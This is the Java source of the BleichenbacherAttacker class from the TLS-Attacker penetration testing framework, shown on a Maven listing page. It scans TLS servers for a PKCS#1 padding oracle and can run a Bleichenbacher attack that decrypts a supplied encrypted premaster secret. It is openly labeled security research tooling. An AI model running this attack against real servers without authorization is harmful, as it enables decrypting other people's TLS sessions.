All Downloads are FREE. Search and download functionalities are using the official Maven repository.

de.rub.nds.tlsattacker.attacks.impl.BleichenbacherAttacker Maven / Gradle / Ivy

/**
 * TLS-Attacker - A Modular Penetration Testing Framework for TLS
 *
 * Copyright 2014-2021 Ruhr University Bochum, Paderborn University, Hackmanit GmbH
 *
 * Licensed under Apache License, Version 2.0
 * http://www.apache.org/licenses/LICENSE-2.0.txt
 */

package de.rub.nds.tlsattacker.attacks.impl;

import static de.rub.nds.tlsattacker.util.ConsoleLogger.CONSOLE;

import de.rub.nds.modifiablevariable.util.ArrayConverter;
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
import de.rub.nds.tlsattacker.attacks.exception.OracleUnstableException;
import de.rub.nds.tlsattacker.attacks.padding.VectorResponse;
import de.rub.nds.tlsattacker.attacks.pkcs1.Bleichenbacher;
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherVulnerabilityMap;
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherWorkflowGenerator;
import de.rub.nds.tlsattacker.attacks.pkcs1.BleichenbacherWorkflowType;
import de.rub.nds.tlsattacker.attacks.pkcs1.Pkcs1Vector;
import de.rub.nds.tlsattacker.attacks.pkcs1.Pkcs1VectorGenerator;
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.RealDirectMessagePkcs1Oracle;
import de.rub.nds.tlsattacker.attacks.util.response.EqualityError;
import de.rub.nds.tlsattacker.attacks.util.response.EqualityErrorTranslator;
import de.rub.nds.tlsattacker.attacks.util.response.FingerPrintChecker;
import de.rub.nds.tlsattacker.attacks.util.response.ResponseExtractor;
import de.rub.nds.tlsattacker.attacks.util.response.ResponseFingerprint;
import de.rub.nds.tlsattacker.core.config.Config;
import de.rub.nds.tlsattacker.core.constants.Bits;
import de.rub.nds.tlsattacker.core.constants.ProtocolVersion;
import de.rub.nds.tlsattacker.core.exceptions.ConfigurationException;
import de.rub.nds.tlsattacker.core.state.State;
import de.rub.nds.tlsattacker.core.util.CertificateFetcher;
import de.rub.nds.tlsattacker.core.workflow.ParallelExecutor;
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
import java.io.IOException;
import java.math.BigInteger;
import java.security.interfaces.RSAPublicKey;
import java.util.LinkedList;
import java.util.List;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * Sends differently formatted PKCS#1 messages to the TLS server and observes the server responses. In case there are
 * differences in the server responses, it is very likely that it is possible to execute Bleichenbacher attacks.
 */
public class BleichenbacherAttacker extends Attacker {

    private static final Logger LOGGER = LogManager.getLogger();

    private BleichenbacherWorkflowType vulnerableType;

    private EqualityError errorType;

    private boolean shakyScans = false;

    private final ParallelExecutor executor;

    private List fingerprintPairList;

    private boolean selfShutdown = false;

    /**
     * @param bleichenbacherConfig
     * @param baseConfig
     */
    public BleichenbacherAttacker(BleichenbacherCommandConfig bleichenbacherConfig, Config baseConfig) {
        super(bleichenbacherConfig, baseConfig);
        executor = new ParallelExecutor(1, 3);
        selfShutdown = true;
    }

    /**
     * @param bleichenbacherConfig
     * @param baseConfig
     * @param executor
     */
    public BleichenbacherAttacker(BleichenbacherCommandConfig bleichenbacherConfig, Config baseConfig,
        ParallelExecutor executor) {
        super(bleichenbacherConfig, baseConfig);
        this.executor = executor;
        selfShutdown = false;
    }

    /**
     * @param  type
     * @param  encryptedPMS
     * @return
     */
    public State executeTlsFlow(BleichenbacherWorkflowType type, byte[] encryptedPMS) {
        Config tlsConfig = getTlsConfig();
        WorkflowTrace trace = BleichenbacherWorkflowGenerator.generateWorkflow(tlsConfig, type, encryptedPMS);
        State state = new State(tlsConfig, trace);
        tlsConfig.setWorkflowExecutorShouldClose(false);
        WorkflowExecutor workflowExecutor =
            WorkflowExecutorFactory.createWorkflowExecutor(tlsConfig.getWorkflowExecutorType(), state);
        workflowExecutor.executeWorkflow();
        return state;
    }

    /**
     * @return
     */
    @Override
    public Boolean isVulnerable() {
        errorType = getEqualityError();
        if (errorType != null && errorType != EqualityError.NONE) {
            vulnerableType = config.getWorkflowType();
            return true;
        }
        return false;
    }

    public EqualityError isVulnerable(List pkcs1Vectors, RSAPublicKey publicKey) {
        fingerprintPairList = getBleichenbacherMap(config.getWorkflowType(), pkcs1Vectors, publicKey);
        if (fingerprintPairList.isEmpty()) {
            LOGGER.warn("Could not extract Fingerprints");
            return null;
        }
        printBleichenbacherVectormap(fingerprintPairList);
        EqualityError error = getEqualityError(fingerprintPairList);
        if (error != EqualityError.NONE) {
            CONSOLE.info("Found a side channel. Rescanning to confirm.");
            // Socket Equality Errors can be caused by problems on on the
            // network. In this case we do a rescan
            // and check if we find the exact same answer behaviour (twice)
            List secondBleichenbacherVectorMap =
                getBleichenbacherMap(config.getWorkflowType(), pkcs1Vectors, publicKey);
            EqualityError error2 = getEqualityError(secondBleichenbacherVectorMap);
            BleichenbacherVulnerabilityMap mapOne = new BleichenbacherVulnerabilityMap(fingerprintPairList, error);
            BleichenbacherVulnerabilityMap mapTwo =
                new BleichenbacherVulnerabilityMap(secondBleichenbacherVectorMap, error2);
            if (mapOne.looksIdentical(mapTwo)) {
                List thirdBleichenbacherVectorMap =
                    getBleichenbacherMap(config.getWorkflowType(), pkcs1Vectors, publicKey);
                EqualityError error3 = getEqualityError(secondBleichenbacherVectorMap);
                BleichenbacherVulnerabilityMap mapThree =
                    new BleichenbacherVulnerabilityMap(thirdBleichenbacherVectorMap, error3);
                if (!mapTwo.looksIdentical(mapThree)) {
                    LOGGER.debug("The third scan prove this vulnerability to be non existent");
                    shakyScans = true;
                    error = EqualityError.NONE;
                }
            } else {
                LOGGER.debug("The second scan prove this vulnerability to be non existent");
                shakyScans = true;
                error = EqualityError.NONE;
            }
        }
        if (error != EqualityError.NONE) {
            CONSOLE.info("Found a vulnerability with " + config.getWorkflowType().getDescription());
        }
        if (selfShutdown && !config.isExecuteAttack()) {
            executor.shutdown();
        }
        return error;
    }

    public EqualityError getEqualityError() {
        Config tlsConfig = getTlsConfig();
        RSAPublicKey publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
        if (publicKey == null) {
            LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
            return null;
        }
        LOGGER.info("Fetched the following server public key: " + publicKey);
        List pkcs1Vectors = Pkcs1VectorGenerator.generatePkcs1Vectors(publicKey, config.getType(),
            tlsConfig.getDefaultHighestClientProtocolVersion());
        // we execute the attack with different protocol flows and
        // return true as soon as we find the first inconsistency
        CONSOLE
            .info("A server is considered vulnerable to this attack if it responds differently to the test vectors.");
        CONSOLE.info("A server is considered secure if it always responds the same way.");
        LOGGER.debug("Testing: " + config.getWorkflowType());
        errorType = isVulnerable(pkcs1Vectors, publicKey);
        return errorType;
    }

    /**
     * @param  bleichenbacherVectorMap
     * @return
     */
    public EqualityError getEqualityError(List bleichenbacherVectorMap) {
        ResponseFingerprint fingerprint = bleichenbacherVectorMap.get(0).getFingerprint();
        for (VectorResponse pair : bleichenbacherVectorMap) {
            EqualityError error = FingerPrintChecker.checkEquality(fingerprint, pair.getFingerprint());
            if (error != EqualityError.NONE) {
                CONSOLE.info("Found an EqualityError!");
                CONSOLE.info(EqualityErrorTranslator.translation(error, fingerprint, pair.getFingerprint()));
                return error;
            }
        }
        return EqualityError.NONE;
    }

    private void printBleichenbacherVectormap(List bleichenbacherVectorMap) {
        LOGGER.debug("Vectormap:");
        LOGGER.debug("---------------");
        for (VectorResponse pair : bleichenbacherVectorMap) {
            LOGGER.debug(pair);
        }
        LOGGER.debug("---------------");
    }

    private List getBleichenbacherMap(BleichenbacherWorkflowType bbWorkflowType,
        List pkcs1Vectors, RSAPublicKey publicKey) {
        Config tlsConfig = getTlsConfig();
        tlsConfig.setWorkflowExecutorShouldClose(false);
        List bleichenbacherVectorMap = new LinkedList<>();
        List stateList = new LinkedList<>();
        List stateVectorPairList = new LinkedList<>();
        for (Pkcs1Vector pkcs1Vector : pkcs1Vectors) {
            WorkflowTrace trace = BleichenbacherWorkflowGenerator.generateWorkflow(tlsConfig, bbWorkflowType,
                pkcs1Vector.getEncryptedValue());
            State state = new State(tlsConfig, trace);
            stateList.add(state);
            stateVectorPairList.add(new StateVectorPair(state, pkcs1Vector));
        }
        executor.bulkExecuteClientStateTasks(stateList);
        for (StateVectorPair stateVectorPair : stateVectorPairList) {
            processFinishedStateVectorPair(stateVectorPair, bleichenbacherVectorMap);
        }
        // Check that the public key send by the server is actually the public
        // key used to generate
        // the vectors. This is currently a limitation of our script as the
        // attack vectors are
        // generated statically and not dynamically. We will adjust this in
        // future versions.
        for (StateVectorPair pair : stateVectorPairList) {
            if (pair.getState().getTlsContext().getServerRsaModulus() != null
                && !pair.getState().getTlsContext().getServerRsaModulus().equals(publicKey.getModulus())) {
                throw new OracleUnstableException(
                    "Server sent us a different public key during the scan. Aborting test");
            }
        }

        return bleichenbacherVectorMap;
    }

    private void processFinishedStateVectorPair(StateVectorPair stateVectorPair,
        List bleichenbacherVectorMap) {
        if (stateVectorPair.getState().getWorkflowTrace().executedAsPlanned()) {
            ResponseFingerprint fingerprint = ResponseExtractor.getFingerprint(stateVectorPair.getState());
            bleichenbacherVectorMap.add(new VectorResponse(stateVectorPair.getVector(), fingerprint));
        } else {
            LOGGER.warn(
                "Could not execute Workflow. Something went wrong... Check the debug output for more information");
        }
        clearConnections(stateVectorPair.getState());

    }

    private ResponseFingerprint getFingerprint(BleichenbacherWorkflowType type, byte[] encryptedPMS) {
        State state = executeTlsFlow(type, encryptedPMS);
        if (state.getWorkflowTrace().allActionsExecuted()) {
            ResponseFingerprint fingerprint = ResponseExtractor.getFingerprint(state);
            clearConnections(state);
            return fingerprint;
        } else {
            clearConnections(state);
            LOGGER.warn(
                "Could not execute Workflow. Something went wrong... Check the debug output for more information");
        }
        return null;
    }

    @Override
    public void executeAttack() {
        // needs to execute the isVulnerable method to configure the workflow
        // type
        boolean vulnerable = isVulnerable();
        LOGGER.info("Using the following oracle type: {}", vulnerableType);

        if (!vulnerable) {
            LOGGER.warn("The server is not vulnerable to the Bleichenbacher attack");
            return;
        }
        Config tlsConfig = getTlsConfig();
        RSAPublicKey publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
        if (publicKey == null) {
            LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
            return;
        }

        if (config.getEncryptedPremasterSecret() == null) {
            throw new ConfigurationException(
                "You have to set the encrypted premaster secret you are " + "going to decrypt");
        }

        LOGGER.info("Fetched the following server public key: " + publicKey);
        byte[] pms = ArrayConverter.hexStringToByteArray(config.getEncryptedPremasterSecret());
        if ((pms.length * Bits.IN_A_BYTE) != publicKey.getModulus().bitLength()) {
            throw new ConfigurationException("The length of the encrypted premaster secret you have "
                + "is not equal to the server public key length. Have you selected the correct value?");
        }
        RealDirectMessagePkcs1Oracle oracle = new RealDirectMessagePkcs1Oracle(publicKey, getTlsConfig(),
            extractValidFingerprint(publicKey, tlsConfig.getDefaultHighestClientProtocolVersion()), null,
            vulnerableType);
        Bleichenbacher attacker = new Bleichenbacher(pms, oracle, config.isMsgPkcsConform());
        attacker.attack();
        BigInteger solution = attacker.getSolution();
        CONSOLE.info(solution.toString(16));
        if (selfShutdown) {
            executor.shutdown();
        }
    }

    private ResponseFingerprint extractValidFingerprint(RSAPublicKey publicKey, ProtocolVersion version) {
        return getFingerprint(vulnerableType,
            Pkcs1VectorGenerator.generateCorrectPkcs1Vector(publicKey, version).getEncryptedValue());
    }

    /**
     * @return
     */
    public BleichenbacherWorkflowType getVulnerableType() {
        return vulnerableType;
    }

    private void clearConnections(State state) {
        try {
            state.getTlsContext().getTransportHandler().closeConnection();
        } catch (IOException ex) {
            LOGGER.debug(ex);
        }
    }

    /**
     * @return
     */
    public EqualityError getErrorType() {
        return errorType;
    }

    /**
     * @return
     */
    public boolean isShakyScans() {
        return shakyScans;
    }

    public List getFingerprintPairList() {
        return fingerprintPairList;
    }
}




© 2015 - 2024 Weber Informatics LLC | Privacy Policy